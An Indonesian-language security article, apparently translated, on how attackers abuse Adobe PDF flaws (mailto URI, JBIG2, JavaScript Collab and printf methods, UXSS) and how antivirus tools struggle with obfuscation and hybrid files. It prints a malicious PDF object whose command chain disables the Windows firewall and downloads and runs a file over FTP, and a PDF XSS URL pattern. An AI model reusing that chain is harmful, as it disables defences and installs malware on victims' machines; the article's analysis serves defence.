With Knowledge, We Can Do Anything Easily

Oleh : Satyendra Teppalavalasa,

Research Engineer

satyendrat@hcl.in

CA – HCL

Siapa yang tak kenal Portable Document Format (PDF)? Format dokumen ini banyak dipakai oleh nyaris semua pengguna komputer. Sayangnya, hal ini dipahami betul oleh para pembuat malware yang dengan sengaja menjadikannya sasaran empuk serangan. Para penyerang melakukan ekslpoit pada sejumlah kelemahan yang ada pada PDF Adobe, sehingga format tersebut tak bisa digunakan.

Lebih dari 50% serangan dilakukan melalui Trojan terhadap file PDF. Mayoritas penyerang berkembang dari metodologi serangan tradisional seperti email, ke serangan terhadap PDF, yang dianggap sebagai cara paling sederhana untuk menyebarkan malware ke seantero Internet. PDF sering dijadikan target malware sejak melakukan plug-in support di web browser. Ketika pengguna mengunjungi sebuah web berbahaya, dokumen PDF dilayani dengan HTTP, dan selama prose situ malware masuk ke mesin pengguna tanpa disadari.

Belakangan ini ada banyak PDF berbahaya yang tersimpan di situs Internet dan siap untuk menyerang pengguna. Seperti kita tahu, PDF adalah salah satu format file paling popular dan dipakai sebagai format dokumen standar di Amerika dan banyak negara lain, untuk mendistribusikan dokumen seperti laporan pajak dan dokumen resmi lain. PDF juga banyak dipakai untuk format ebook. Ya, format ini sudah lama dipakai, namun serangan malware yang menyusup ke dalamnya baru mulai marak akhir-akhir ini.

Pertanyaannya adalah, mengapa PDF yang dijadikan media penyebar malware? Berikut adalah alasannya:

  1. PDF dipakai secara luas (Laporan pajak, slip pembayaran, ebook, dan sebagainya)
  2. PDF mampu menjalankan konten aktiv seperti JavaScript
  3. PDF mampu membuat request HTTP
  4. PDF mampu menjalankan format rich media (.swf, .avi, .mpeg, .asf, .wmv, .wmx dan .spl).

Berdasar semua fitur itu, maka dapat dikatakan bahwa PDF tergolong sebagai konten yang aktif. Format lain PDF juga mampu menjadi sasaran, misalnya  Flash [SWF], dapat menjadi lemah ketika dikombinasikan dengan PDF.

Kelemahan-kelemahan PDF

Beberapa waktu terakhir diketahui bahwa tingkat kelemahan PDF semakin meninggi. Di bawah ini adalah grafik yang menunjkkan peningkatan kelemahan Adobe PDF yang cukup menjadi perhatian para penyerang dan peneliti antivirus. Serangan terhadap PDF meningkat seiring dengan berkurangnya solusi antivirus yang mampu mendeteksi tren serangan baru.

Kelemahan PDF

Industri antivirus perlu melakukan terobosan dalam menghadapi ancaman serangan terhadap PDF. Kami telah menerima banyak laporan mengenai file PDF berbahaya beserta infeksinya, mulai dari pelanggan dari skala rumahan hingga enterprise. Serangan PDF ini makin mudah terdistribusi ke seantero dunia maya melalui email dan HTTP.

Walau sejumlah perusahaan suah menjalankan sistem keamanan dan memindai trafik demi memerangi ancaman itu, mereka hanya dapat memproteksi diri dari ancaman yang sudah dikenali, bukan jenis proteksi proaktif. Isu ini cukup serius saat ini, dan industri antivirus perlu menyiasatinya sebelum semakin parah.

Teknik Serangan yang Berbeda

Kita akan membahas sejumlah kelemahan PDF dan teknik-teknik serangan yang digunakan untuk luput dari deteksi solusi antivrus. Berikut adalah daftar vulnerabilitas yang menjadi topik bahasan komunitas antivirus:

  • V ulnerabilitas PDF URI
  • V ulnerabilitas  PDF J2BIG
  • Vulnerabilitas yang berkaitan dengan fungsi PDF JavaScript:
    • Metode Collab.collectEmailInfo
    • Metode Collab.getIcon
    • Metode Utill.printf
  • UXSS dalam PDF

Vulnerabilitas  PDF URI [CVE 2007-5020]

Kelemahan ini berhubungan dengan Adobe PDF’s mailto URI, dimana URI dipakai sebagai akses ke sistem file lokal pada komputer pengguna untuk melancarkan serangan. Pada kasus ini, penyerang dapat menciptakan rekues spesial URI. Sebagai contoh, rekues di bawah ini mampu mengakses lapisan perintah lokal Windiws dan akan mengeksekusi sejumlah perintah.

<<URI(mailto:support@<site>.com%../../../../../../../../../windows/system32/cmd”.exe””

Perintah ini memungkinkan penyerang menciptakan dokumen PDF khusus yang mengandung URI buatan demi mengakses sumber-sumber lokal dan mengeksekusi beberapa perintah dasar melalui sistem akses file, dan mengunduh malware melalui Internet sehingga menginfeksi komputer pengguna.

Di bawah adalah contoh dimana file PDF berbahaya telah dibuat sedemikian rupa sehingga mengunduh malware dari Internet dengan menggunakan shell perintah lokal untuk mengeksekusi perintah ftp.

<</Metadata 9 0 R/Pages 5 0 R/Type/Catalog>>

endobj

7 0 obj

<</URI(mailto:support@<site>.com%../../../../../../../../../windows/system32/cmd”.exe”” /c “set&cls&netsh firewall set opmode mode=disable&echo o 81.95.xxx.181>i&echo binary>>i&echo get /system.com>>i&echo quit>>i&ftp -s:i -v -A>nul&del /q i&start system.com&””[1].cm\

d)/S/URI>>

endobj

File PDF yang sudah mengakali URI untuk mengeksploit kelemahannya akan mengakses

cmd.exe dan mengeksekusi sebuah rantai perintah windows untuk melakukan aksi berikut:

  1. Menghilangkan firewall windows
  2. Menciptakan file temporer “i” dengan ftp commands;
  3. File “i” tersebut mengandung informasi untuk men-download file berbahaya,  “system.com”;
  4. Menggunakan ftp.exe dan ftp command file “i” to untuk men-download malware
  5. Mengeksekusi malware yang sudah ter-download.

Para penyerang menyebarkan file tersebut dalam bentuk spam, dengan menggunakan teknik social engineering untuk memikat pengguna membuka file dengan menyamar menjadi pengirim tiket pesawat atau sejenisnya.

Vulnerabilitas JBIG2Decode[CVE – 2009 – 0658]

JBIG2 adalah format kompresi gambar yang dapat dipakai sebagai sistem embedded dalam mendisplai gambar. Ketika sebuah dokumen PDF terdisplai maka sistem itu akan terurai menjadi gambar. Vulnerabilitas ini dapat dieksploi melalui PDF khusus berisi stream JBIG2 dengan header yang sudah dikorup. Ketika stream ini diinterprestasikan oleh Acrobat reader maka akan menghasilkan arus buffer atau penahan.

Arus buffer ini dapat digunakan untuk mengeksekusi kode arbitrasi salam konteks pengguna terkini melakukan logged-in. Para pembuat malware telah mengeksplotasi kelemahan ini untuk menyebarkan infeksi malware engan menggunakan file PDF yang mengandung stream JBIG2 yang sudah termodifikasi. Hal ini akan menyebabkan crash pada Adobe Acrobat Reader .

Vulnerabilitas yang berkaitan dengan fungsi PDF JavaScript

Di bagian ini kami membahas beberapa vulnerabilitas terkini yang menggunakan obyek JavaScript dalam PDF. Sejumlah fungsi dalam JavaScript lemah dan tidak aman, mereka dapat dieksploitasi menggunakan JavaScript yang diakali bersama dengan PDF. Berikut beberapa contohnya:

  • Collab.CollectEmailInfo

Metode CollectEmailInfo in Object Collab ini memiliki kelemahan yang menghasilkan arus penahan, sebab ia tidak melakukan validasi parameter ukuran sebelum proses dilakukan. Aturu buffer tersebut digunakan untuk mengeksplotasi PDF reader ketika PDF berisikan JavaScript mengeksekusi kode arbitasi.

Pada banyak kasus, JavaScript dikompresi dengan  Zlib dan tidak terkompres pada load PDF. Sepertinya hampir semua kompresi digunakan untuk menyembunyikan JavaScript dari analis. Ada juga kasus dimana PDF mengandung  JavaScript Stream yang dikompresi dengan alogaritma  Zlib Extreme. Netralisasi kompresi stream ini menggunakal tool seperti pdfextract, PDFtk atau inflate yang selayaknya menghasilkan teks JavaScript. Bagaimanapun juga, kasus ini menghasilkan  Obfuscated JavaScript yang mengandung fungsi dekoding. Metode ini akan mengeksekusi kode terurai dari JavaScrip. Kita dapat menggunakan  malzilla untuk mengeksekusinya.

  • Vulnerabilitas Collab.getIcon

Metode ini mengandung kelemahan arus buffer yang menjadi keunggulan penyerang dalam menyebarkan malware, dimana ada banyak file PDF berbahaya tersimpan di situs-situs dan terdistribusi melalui email. Eksploitasi metode ini sama dengan metode collectEmailInfo .

Metode Util.printf

Metode penyebar malware ini menggunakan prinsip print dalam JavaScript dengan arus buffer yang memungkinkan file PDF berbahaya mengeksekusi kode shell untuk berkompromi dengan komputer pengguna.

  • UXSS (Universal Cross Site Scripting) dalam PDF

Vulnerabilitas ini berhubungan dengan bagaimana PDF yang ber-host di web dapat digunakan untuk menjalankan serangan XSS. Di sini penyerang mengirim email dengan menggunakan teknik social engineering untuk mengakali konten pesan dan menyembunyikan link tersembunyi ke file PDF yang ada di server bersih. Ketika pengguna mengeklik link itu, penyerang melampirkan script yang sudah dieksekusi dalam meligitimasi sesi web. Kelemahan ini tergantung pada keyakinan si pengguna, dimana malware dapat ieksekusi sepanjang pengguna percaya bahwa mereka mengklik link yang benar.

Di bawah adalah contoh XSS sederhana dari PDF yang mengeksploitasi vulnerabilitas ini:

http://<somewebsite&gt;.com/file.pdf#anything:javascript=malicous script

Example:

http ://<somewebsite>.com/file.pdf#anything:javascript=alert(‘Hai XSS’);

Tantangan bagi Komunitas Antivirus

Ancaman-ancaman PDF terus bertumbuh pesat, sementara komunitas pengembang antivirus beusaha untuk membasminya, namun ada beberapa tantangan yang harus dihadapi. Para pembuat malware menggunakan teknik pengelak berbeda untuk menyembunyikan sifat bahaya dari dokumen untuk meningkatkan keberhasilan infeksi yang mereka timbulkan. Secara alamiah, dokumen PDF memang dapat menyembunyikan konten. Kondisi ini memberi pembuat malware benefit tambahan saat menyembunyikan file-file berbahaya.

Berikut adalahbeberapa teknis mengelak dari pembuat malware yang menjadi tantangan bagi komunitas antivirus:

  • Serangan hybrid

Dokumen-dokumen PDF dapat menghadapi konten media yang berbeda dan mendukung format rich media lainnya seperti Flash, Quick Time dan format video dan audio lain yang disebut di awal artikel ini. Secara instan, PDF dapat disisipkan dengan Flash ketika pengguna memakai file tersebut, dan tergantung pada konfigurasinya, konten Flash dapat dimainkan. Kemampuan PDF memainkan format media lin ini menjadi fitur yang sangat berguna, namun format media itu justru memiliki kelemahan yang serius.

Sebagai contoh, pada kasus film Flash yang disisipkan di file media, maka flash akan terkompresi saat disimpan. File Flash memiliki kelemahan berbeda, dan file berbahaya Flash dapat mengeksploitsi dan menginfeksi sistem.

Di sini PDF menjadi media yang membawa file Flash berbahaya untuk dapat mengelak dari solusi-solusi antivirus. Serangan ini  tidak terbatas hanya pada file Flash, melainkan meluas ke file lain seperti QuickTime movies. Diagram di bawah memperlihatkan anatomi dari serangan hybrid sederhana

Serangan hybrid terhadap PDF

Untuk mendeteksi jenis serangan ini, solusi antivirus harus mengenali implementasi dan teknik dekompresi format file, juga harus memperlakukan data tak terkompresi sebagai entitas terpisah yang dipindai. Sistem antivirus juga selayaknya mengenali dan menginterprestasikan file rich media untuk menentukan kontennya. Sebagai tambahan, dalam dekompresi PDF, SWF dan interprestasi file lain secara logika dapat membantu solusi pemindaian antivirus menghadapi jenis serangan ini.

  • Mekanisme proteksi PDF yang berbeda

PDF mempunyai beberapa opsi untuk membedakan level akses bagi dokumennya. Hal ini cukup berguna bagi pengontrolan dokumen dan memungkinkan pemilik okumen mengkonfigurasi akses, seperti siapa saja yang bisa melihat dokumen itu, siapa yang bisa mencetak, atau melakukan signatur digital.

Dalam konteks antivirus, kita sangat konsen pada proteksi password pada PDF. Pada dasarnya ada dua jenis sistem level proteksi password pada file PDF:

  • Password pengguna
  • Password dokumen

Password pengguna memungkinkan pengguna membuka dokumen, tanpa password ini maka dokumen tak bisa diakses. Sedangkan password dokumen memungkinkan pemiliknya dapat mengontrol penyuntingan dokumen, misalnya apakah PDF itu perlu dimodifikasi. Saat password ini digunakan maka konten PDF terenkripsi. Jika dilakukan pemindaian maka tidak akan menghasilkan apa-apa. Jenis dokumen ini dapat dihasilkan secara acak dengan menggunakan SDK untuk menghindari signatur dasar CRC.

  • Menghadapi Obfuskasi

Obfuskasi adalah jenis ancaman lain yang harus dihadapi. Obfuskasi adalah jenis serangan yang membingungkan, sulit dipahami oleh komunitas antivirus, terlebih lagi pengguna komputer. Dalam konteks PDF, hampir semua file melakukan kompresi stream JavaScript, dan ketika kita melakukan dekompresi maka diketahui adanya script dalam bentuk Obfuskasi.

Obfuskasi memiliki sifat berbeda dalam level yang berbeda pula, dan sangat sulit dideteksi oleh solusi-solusi antivirus.

Agar mesin bisa mengenali teknik ini, harus mengimplementasi fitur-fitur memproses JavaScript dan teknik script sandbox untuk mengeksekusi script tersebut dan setidaknya melakukan penetrasi beberapa level obfuskasi untuk mendeteksi kode berbahaya.

Setelah melakukan beberapa level deobfuskasi pada script, signatur bagi script yang semi obfuskasi dapat ditulis dengan menggunakan ekspresi regular, yang meningkatkan rerata deteksi. Sebagai alternatif, solusi antivirus dapat dibantu dengan mengembangkan modul pendeteksi script yang mampu memperluas jangkauan, seperti hingga mencapai debugger JS. Scanner yang didedikasikan khusus untuk script akan memingkatkan efisiensi deteksi.

  • Programming Languages support [PDF SDK etc]

Bahasa programming berbeda yang mendukung PDF dapat diciptakan melalui API. Secara instan, dalam PHP atau Python kita dapat menulis script sederhana untuk menghasilkan dokumen PDF dan script ini dapat ditaruh di server web yang mendukung.

Teknologi API dapat menciptakan dan memodifikasi file-file PDF. Inilah yang kemudian disalahgunakan oleh penyerang yang menaruh script lawan ke web untuk menjalankan file PDF berbahaya ke seantero HTTP. Script ini dapat menangani file PDF yang berbeda setiap waktu dan tergantung pada permintaan, mereka dapat menggunakan obfuskasi berbeda untuk menempel pada script

Hal ini membuat deteksi pada PDF menjadi sulit, sebab konten file internel berubah setiap waktu sebuah file PDF baru diminta oleh server. Script-script ini sudah siap untuk melakukan script-kiddies pada siapa saja yang memerlukan dukungan server dan ruang pada web. Dari cara inilah serangan PDF dapat menyebar cepat, dan teknik obfuskasi ini dengan mudah mengelak dari deteksi solusi antivirus.

Meskipun prevelansi menunjukkan peningkatan ancaman PDF, namun sistem-sistem pertahanan tetap tersedia secara alamiah. Walau demikian, apakah solusi-solusi antvirus dapat selalu  mencegah beragam serangan, masih sebuah pertanyaan. Diperlukan usaha yang lebih besar dalam riset dan studi terhadap serangan tersebut, dan kecenderungan bersifat proaktif akan membantu komunitas antivirus mengatasinya.***

Ucapan terima kasih untuk:

Arkady Kovtun, Kim Thorogood  dan  Marchelle David.

Referensi:

%d bloggers like this: